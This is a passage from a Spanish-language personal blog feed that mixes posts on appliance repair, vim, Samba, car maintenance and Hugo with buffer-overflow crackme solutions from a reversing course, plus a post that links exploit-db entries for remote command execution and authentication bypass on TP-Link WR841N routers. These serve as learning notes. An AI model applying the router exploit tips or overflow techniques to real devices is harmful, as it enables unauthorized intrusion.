</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> (<span style="color:#f92672">*</span>str <span style="color:#f92672">!=</span> <span style="color:#e6db74">'\0'</span>) {
</span></span><span style="display:flex;"><span> len<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span> str<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> len;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="exploit">Exploit</h4>
<p>En vez de ejecutar la calculadora ejecuté cmd porque estoy bajo linux y wine no tiene calc. Tuve que poner un 00 en la posición 17 porque strcpy copia hasta encontrar un <code>00</code> y así <code>18+38=56</code> 38 es la longitud de <code>A ejecutar la calculadora de nuevo...\n</code></p>
-
Como leer codigo qr desde la PC y engañar sobre el dispositivo
https://imlauera.github.io/post/como_leer_codigo_qr_y_mentir_sobre_dispositivo/
Fri, 23 Aug 2024 16:54:49 -0300
https://imlauera.github.io/post/como_leer_codigo_qr_y_mentir_sobre_dispositivo/
<p>Podemos engañar a una página web haciéndole creer que estamos accediendo desde un celular, cuando estamos ingresando de una computadora. Esto tiene muchos usos como por ejemplo: las páginas son más ligeras cuando ingresás desde el celular, o algunos te piden que ingreses del celular para hacer algún tipo de verificación.
Esto se puede hacer apretando</p>
<pre tabindex="0"><code>F12 -> Network (Red) -> More network conditions (más condiciones de red) tiene un ícono como de una red wifi -> abajo en donde dice user agent demarcá "Usar el navegador por defecto" y cambialo a Chrome Android
</code></pre><p>Para leer QR desde la consola sacá la captura del qr y usá el comando zbarimg que está en el paquete zbar-tools.</p>
-
[AUDIO][APUNTE] Taller reparacion electrodomesticos (Clase 8) - Lavarropas. Relay. Triac. Presostato. Solenoide. Jaula ardilla. Motores universales. Hay que saber preguntar al cliente. 01:55:00 (no calienta la plancha XD, que pavote quiere probar con ella). Orrin. Entra agua bomba de agua. Cuando se usa RELAY y cuando TRIAC. Mosfet. En el final hay una complicada explicación. TRIAC cumple la misma función que un RELAY.
https://imlauera.github.io/post/8va_clase_electro/
Fri, 23 Aug 2024 12:34:35 -0300
https://imlauera.github.io/post/8va_clase_electro/
<h4 id="audio-de-la-clase">Audio de la clase:</h4>
<p><a href="https://youtu.be/HOFVsSnZ_a4">https://youtu.be/HOFVsSnZ_a4</a></p>
<p><a href="https://voca.ro/1c9hVPuRPWbh">https://voca.ro/1c9hVPuRPWbh</a></p>
<h4 id="o-escuchala-en-invidious">O escuchala en invidious:</h4>
<p><a href="https://redirect.invidious.io/watch?v=HOFVsSnZ_a4">https://redirect.invidious.io/watch?v=HOFVsSnZ_a4</a></p>
<p><img src="https://imlauera.github.io/img/8va_clase_electro/1.jpg" alt="Clase 8"></p>
<p>Se cortó una parte en donde hablaba de como probar una electrobomba: tiene bobinado todos los motores son iguales.</p>
<h4 id="solenoide-de-carga">Solenoide de carga.</h4>
<p>El relay es un solenoide.</p>
<p>Presostato: sólo es un switch de contacto.
El presostato no tiene ningún campo magnético.</p>
<p>Primero el lavarropas testea todo.<br>
Jaula de ardilla: estan en diagonales.<br>
El trazo grueso es hierro al silicio y el trazo fino es aluminio.</p>
-
Editar múltiples archivos en vim con wildcarts
https://imlauera.github.io/post/editar_multiples_archivos_vim/
Wed, 21 Aug 2024 16:19:42 -0300
https://imlauera.github.io/post/editar_multiples_archivos_vim/
<p>Por ejemplo <code>vim *buffer*</code> nos abrirá varios archivos a la vez nos podemos ir moviendo a través de esos archivos usando el comando <code>:n</code> para adelante y <code>:N</code> para movernos hacia atrás.</p>
<p>Te cambia la vida.</p>
-
Profesorado matematicas: Exámenes y carpetas
https://imlauera.github.io/post/profesorado_matematicas/
Wed, 21 Aug 2024 14:27:53 -0300
https://imlauera.github.io/post/profesorado_matematicas/
<p><strong>Recompilación de exámenes viejos y prácticas de diferentes materias</strong>: <br>
<a href="https://github.com/imlauera/pm">https://github.com/imlauera/pm</a></p>
<p><strong>Examenes viejos</strong>: <br>
<a href="https://drive.google.com/drive/folders/1JSr335fKkQigckJFQ60P-P7EW4_uAb4o">https://drive.google.com/drive/folders/1JSr335fKkQigckJFQ60P-P7EW4_uAb4o</a></p>
<p><strong>Exámenes de física de la uba</strong>:</p>
<p><a href="https://www.altillo.com/examenes/uba/ubaxxi/algebraeconomicas/index.asp">https://www.altillo.com/examenes/uba/ubaxxi/algebraeconomicas/index.asp</a></p>
-
Buffer overflow 7 (Ricardo navarja reversing)
https://imlauera.github.io/post/buffer_overflow_7/
Tue, 20 Aug 2024 23:49:30 -0300
https://imlauera.github.io/post/buffer_overflow_7/
<p>Este es el código que me generó el IDA con mis modificaciones:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">check</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Stream)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> savedregs; <span style="color:#75715e">// [esp+0h] [ebp+0h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sprintf</span>(Stream <span style="color:#f92672">+</span> <span style="color:#ae81ff">220</span>, <span style="color:#e6db74">"Bieeeeeeeeeeeeeeeeeeeen ? con %s"</span>, Stream <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>(Stream <span style="color:#f92672">+</span> <span style="color:#ae81ff">52</span>) <span style="color:#f92672">!=</span> <span style="color:#e6db74">'E'</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Mal camino </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, savedregs);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Stream[<span style="color:#ae81ff">216</span>] <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0xD</span> )
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(Stream <span style="color:#f92672">+</span> <span style="color:#ae81ff">54</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"valor= %x</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, Stream[<span style="color:#ae81ff">216</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"number= %x</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, Stream[<span style="color:#ae81ff">204</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>(Stream <span style="color:#f92672">+</span> <span style="color:#ae81ff">53</span>) <span style="color:#f92672">==</span> <span style="color:#e6db74">'F'</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Aprobaste level 7"</span>, savedregs);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Que pasa, %x </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, Stream[<span style="color:#ae81ff">216</span>] <span style="color:#f92672">+</span> Stream[<span style="color:#ae81ff">204</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>Stream; <span style="color:#75715e">// [esp+0h] [ebp-1A4h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Buffer[<span style="color:#ae81ff">200</span>]; <span style="color:#75715e">// [esp+4h] [ebp-1A0h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v6; <span style="color:#75715e">// [esp+CCh] [ebp-D8h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v7; <span style="color:#75715e">// [esp+D0h] [ebp-D4h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v8; <span style="color:#75715e">// [esp+D4h] [ebp-D0h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Destination[<span style="color:#ae81ff">200</span>]; <span style="color:#75715e">// [esp+DCh] [ebp-C8h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#ae81ff">69</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(Buffer, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(Buffer));
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(Destination, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(Destination));
</span></span><span style="display:flex;"><span> Stream <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(<span style="color:#e6db74">"example.txt"</span>, <span style="color:#e6db74">"rb"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>Stream )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"No se puede leer el archivo bye bye </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fread</span>(Buffer, <span style="color:#ae81ff">200</span><span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span>), <span style="color:#ae81ff">1</span><span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span>), Stream);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Acá se produce el bufferoverflow
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// Copiamos el contenido del Buffer a Destination.
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// strcpy copia hasta encontrar un caracter nulo ('\0')
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcpy</span>(Destination, Buffer);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v6 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Mal </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, (<span style="color:#66d9ef">char</span>)Stream);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">check</span>((<span style="color:#66d9ef">int</span>)<span style="color:#f92672">&</span>Stream);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Hasta 173 no se produce el buffer overflow. Los caracteres que agregamos luego de 173 caracteres pisan el <code>return address</code>.</p>
-
Buffer Overflow Examen 6 (Ricardo Narvaja Reversing)
https://imlauera.github.io/post/buffer_overflow_6/
Tue, 20 Aug 2024 18:04:05 -0300
https://imlauera.github.io/post/buffer_overflow_6/
<p>El IDA me lo decompila a :</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">check</span>(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>this)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">102</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">104</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">"Aprobaste level 6"</span>;
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">105</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">"A practicar y repasar mas ..."</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> this;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">check3</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Destination)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Concatenación.
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcat</span>(Destination, Destination[<span style="color:#ae81ff">105</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">strlen</span>(Destination) <span style="color:#f92672">==</span> <span style="color:#ae81ff">229</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Destination[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x49</span> )
</span></span><span style="display:flex;"><span> Destination[<span style="color:#ae81ff">50</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Destination[<span style="color:#ae81ff">5</span>] <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0x50</span> )
</span></span><span style="display:flex;"><span> Destination[<span style="color:#ae81ff">50</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">check2</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Destination)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">check3</span>(Destination);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Destination[<span style="color:#ae81ff">50</span>] <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, Destination[<span style="color:#ae81ff">104</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, Destination[<span style="color:#ae81ff">105</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Destination[<span style="color:#ae81ff">200</span>]; <span style="color:#75715e">// [esp+0h] [ebp-1A8h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v5; <span style="color:#75715e">// [esp+C8h] [ebp-E0h] BYREF
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>Stream; <span style="color:#75715e">// [esp+CCh] [ebp-DCh]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Buffer[<span style="color:#ae81ff">200</span>]; <span style="color:#75715e">// [esp+D0h] [ebp-D8h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>puntero_a_v5; <span style="color:#75715e">// [esp+19Ch] [ebp-Ch]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">check</span>(Destination);
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> puntero_a_v5 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>v5;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(Buffer, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">200</span><span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span>));
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(Destination, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(Destination));
</span></span><span style="display:flex;"><span> Stream <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(<span style="color:#e6db74">"example.txt"</span>, <span style="color:#e6db74">"rb"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>Stream )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"No se puede leer el archivo bye bye </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, Destination[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fread</span>(Buffer, <span style="color:#ae81ff">200</span><span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span>), <span style="color:#ae81ff">1u</span>, Stream);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcpy</span>(Destination, Buffer);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">check2</span>(Destination);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Tenés que hacer que Destination[4] (el 5to caracter porque empieza desde 0) tiene el valor de 0x49 que representa la letra <strong>I</strong> y si ese vale I entonces Destination[50] valdrá 1 y el 6to caracter tiene que ser cualquier cosa diferente de P (0x50) porque sino Destination[50] se hace 0 y si Destination[50] es 1 <strong>aprobamos el examen!</strong> porque muestra el texto Destination[104] que contiene el string de aprobamos el examen.</p>
-
[AUDIO][APUNTE] Taller reparacion electrodomesticos (Clase 7) - Diagrama horno eléctrico. Termostato. Selector de velas. Bobinas: arranque y trabajo.
https://imlauera.github.io/post/7ma_clase_reparacion_electromesticos/
Fri, 16 Aug 2024 21:48:55 -0300
https://imlauera.github.io/post/7ma_clase_reparacion_electromesticos/
<h4 id="audio-de-la-clase">Audio de la clase</h4>
<p><a href="https://youtu.be/5RjcuVO6T3I">https://youtu.be/5RjcuVO6T3I</a></p>
<p><a href="https://vocaroo.com/18EtH3Rz0QA3">https://vocaroo.com/18EtH3Rz0QA3</a></p>
<h3 id="o-escuchala-en-invidiuos">O escuchala en invidiuos</h3>
<p><a href="https://redirect.invidious.io/watch?v=5RjcuVO6T3I">https://redirect.invidious.io/watch?v=5RjcuVO6T3I</a></p>
<p><img src="https://imlauera.github.io/img/7ma_clase_electro/IMG-20240815-WA0004.jpg" alt=""></p>
<p><img src="https://imlauera.github.io/img/7ma_clase_electro/IMG-20240815-WA0008.jpg" alt=""></p>
<p>Primero comienza explicando el funcionamiento de un aire acondicionado.</p>
<h3 id="a-los-caños-le-ponen-aluminio-y-no-conviene-arreglar-porque-si-hay-un-poquito-de-humedad-le-come-al-caño-no-conviene-arreglar-caño-de-heladera-conviene-tomar-la-medida-y-el-fondo-y-comprar-un-evaporador-como-para-freezer">A los caños le ponen aluminio y no conviene arreglar porque si hay un poquito de humedad le come al caño. NO conviene arreglar caño de heladera, <strong>conviene tomar la medida y el fondo y comprar un evaporador como para freezer.</strong></h3>
<p>Ahí lo que te queda así, le dicen nicho, no conviene arreglar porque queda como que sos un mal técnico.
Lastimosamente a estos caños le ponen aluminio y el aluminio con el poliuretano si llega a ver un poquito de humedad le come como si fuera un cáncer. No conviene arreglar porque yo parcho hago la chapa y siempre le va a comer en otro lado y siempre quedará como que tu trabajo es malo.</p>
-
Vulnerabilidades en el router TP Link WR841N
https://imlauera.github.io/post/vulnerabilidades_tp_wr841n/
Fri, 16 Aug 2024 19:35:21 -0300
https://imlauera.github.io/post/vulnerabilidades_tp_wr841n/
<p>Se puede acceder a toda la configuración y ejecutar cualquier comando remotamente.</p>
<p><a href="https://www.exploit-db.com/exploits/45064">https://www.exploit-db.com/exploits/45064</a>
<a href="https://www.exploit-db.com/exploits/45168">https://www.exploit-db.com/exploits/45168</a>
<a href="https://www.exploit-db.com/exploits/45203">https://www.exploit-db.com/exploits/45203</a>
<a href="https://www.exploit-db.com/exploits/46882">https://www.exploit-db.com/exploits/46882</a></p>
<p>Usando burp-suite podés repetir la consulta agregandole <code>'Referer: http://192.168.0.1/mainFrame.htm'</code></p>
<h4 id="authentication-bypass">Authentication Bypass:</h4>
<p><a href="https://www.exploit-db.com/exploits/44781">https://www.exploit-db.com/exploits/44781</a></p>
<h4 id="emulador-tl-wr841n">Emulador TL-WR841N</h4>
<p><a href="https://emulator.tp-link.com/TL-WR841ND_V8/Index.htm">https://emulator.tp-link.com/TL-WR841ND_V8/Index.htm</a></p>
<h4 id="listar-virtual-servers">Listar Virtual Servers:</h4>
<pre tabindex="0"><code>curl 'https://emulator.tp-link.com/TL-WR841ND_V8/userRpm/VirtualServerRpm.htm' \
-H 'Referer: https://emulator.tp-link.com/TL-WR841ND_V8/userRpm/MenuRpm.htm' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36' \
-H 'sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "Linux"'
</code></pre>
-
Samba server en Linux
https://imlauera.github.io/post/samba_server_linux/
Thu, 15 Aug 2024 19:55:28 -0300
https://imlauera.github.io/post/samba_server_linux/
<p>Creo que no hace falta ninguna de esas configuraciones solo tenes que agregar la contraseña.</p>
<p><code>sudo smbpasswd -a esotericwarfare</code></p>
<hr>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install samba -y
</span></span><span style="display:flex;"><span>sudo systemctl stop smbd
</span></span><span style="display:flex;"><span>mkdir linuxshare
</span></span><span style="display:flex;"><span>vim /etc/samba/smb.conf
</span></span></code></pre></div><p>Agregá lo siguiente:</p>
<pre tabindex="0"><code>[global]
server role = standalone server
map to guest = bad user
usershare allow guests = yes
hosts allow = 192.168.0.0/16
hosts deny = 0.0.0.0/0
[samba]
comment = Open Linux Share
path = /home/esotericwarfare/samba
read only = no
guest ok = yes
</code></pre><p>Ejecutá: <code>testparm</code> para probar la configuración.</p>
-
Renault 9 mantenimiento: bujía, platino, manguera nafta
https://imlauera.github.io/post/renault9_mantenimiento/
Wed, 14 Aug 2024 10:22:02 -0300
https://imlauera.github.io/post/renault9_mantenimiento/
<h4 id="problema">Problema</h4>
<p>La luz del platino es el tiempo que tarda en hacer la explosión, ayuda a que sea más corto el tiempo que hace la explosión.</p>
<p>La platino y la bujía con el tiempo se llena de carbono y cuando se llena de carbono tenés que achicar la luz porque si eso está gastado <strong>explota más tarde o después</strong>, hay que conseguir una sonda y achicar la <strong>luz</strong> que tiene la bujía tiene que ser 0,6mm, y eso hace que todas las veces que salta la chispa haga una chispa de buena calidad por eso se <strong>apaga el auto</strong>. <br>
Cuando vos usas la luz de la bujía queda más grande, porque se gasta el electrodo.</p>
-
Agregando LaTeX a HUGO
https://imlauera.github.io/post/agregando_latex_a_hugo/
Wed, 14 Aug 2024 09:44:43 -0300
https://imlauera.github.io/post/agregando_latex_a_hugo/
<p>Podés tener $$\LaTeX$$ en tu blog con HUGO simplemente agregando el siguiente scripts al template de la página: <code>layouts/partials/footer.html</code></p>
<p><a href="https://www.mathjax.org/#gettingstarted">https://www.mathjax.org/#gettingstarted</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>{{ <span style="color:#a6e22e">$script</span> <span style="color:#f92672">:=</span> .<span style="color:#a6e22e">Site</span>.<span style="color:#a6e22e">Data</span>.<span style="color:#a6e22e">webpack_assets</span>.<span style="color:#a6e22e">app</span> }}
</span></span><span style="display:flex;"><span>{{ <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">$script</span>.<span style="color:#a6e22e">js</span> }}
</span></span><span style="display:flex;"><span> <span style="color:#f92672"><</span><span style="color:#a6e22e">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">"{{ relURL (printf "</span><span style="color:#f92672">%</span><span style="color:#a6e22e">s</span><span style="color:#f92672">%</span><span style="color:#a6e22e">s</span><span style="color:#e6db74">" "</span><span style="color:#a6e22e">dist</span><span style="color:#f92672">/</span><span style="color:#e6db74">" .) }}"</span><span style="color:#f92672">><</span><span style="color:#960050;background-color:#1e0010">/script></span>
</span></span><span style="display:flex;"><span>{{ <span style="color:#a6e22e">end</span> }}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672"><</span><span style="color:#a6e22e">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"text/javascript"</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">"https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.7/MathJax.js?config=TeX-AMS-MML_HTMLorMML"</span><span style="color:#f92672">></span>
</span></span><span style="display:flex;"><span><span style="color:#f92672"><</span><span style="color:#960050;background-color:#1e0010">/script></span>
</span></span><span style="display:flex;"><span><span style="color:#f92672"><</span><span style="color:#a6e22e">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"text/x-mathjax-config"</span><span style="color:#f92672">></span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MathJax</span>.<span style="color:#a6e22e">Hub</span>.<span style="color:#a6e22e">Config</span>({ <span style="color:#a6e22e">tex2jax</span><span style="color:#f92672">:</span> {<span style="color:#a6e22e">inlineMath</span><span style="color:#f92672">:</span> [[<span style="color:#e6db74">"$$"</span>,<span style="color:#e6db74">"$$"</span>],[<span style="color:#e6db74">"\\("</span>,<span style="color:#e6db74">"\\)"</span>]]} })
</span></span><span style="display:flex;"><span><span style="color:#f92672"><</span><span style="color:#960050;background-color:#1e0010">/script></span>
</span></span></code></pre></div><h4 id="prueba-latex">Prueba LaTeX</h4>
<p>$$ e^{i\pi}+1= 0 $$</p>
<p>\begin{aligned}
KL(\hat{y} || y) &= \sum_{c=1}^{M}\hat{y}_c \log{\frac{\hat{y}_c}{y_c}} \
JS(\hat{y} || y) &= \frac{1}{2}(KL(y||\frac{y+\hat{y}}{2}) + KL(\hat{y}||\frac{y+\hat{y}}{2}))
\end{aligned}</p>
<p>Para insertar \(\LaTeX\) tenés que usar lo que dice luego de inlineMath:</p>
-
Como usar VIM como editor hexadecimal
https://imlauera.github.io/post/editor_hexadecimal_vim/
Wed, 14 Aug 2024 00:20:03 -0300
https://imlauera.github.io/post/editor_hexadecimal_vim/
<p>Para editar hexadecimal en vim renombrá el archivo a example.bin y agregá a tu <code>.vimrc</code> la siguiente configuración:</p>
<pre tabindex="0"><code>" vim -b : edit binary using xxd-format!
augroup Binary
au!
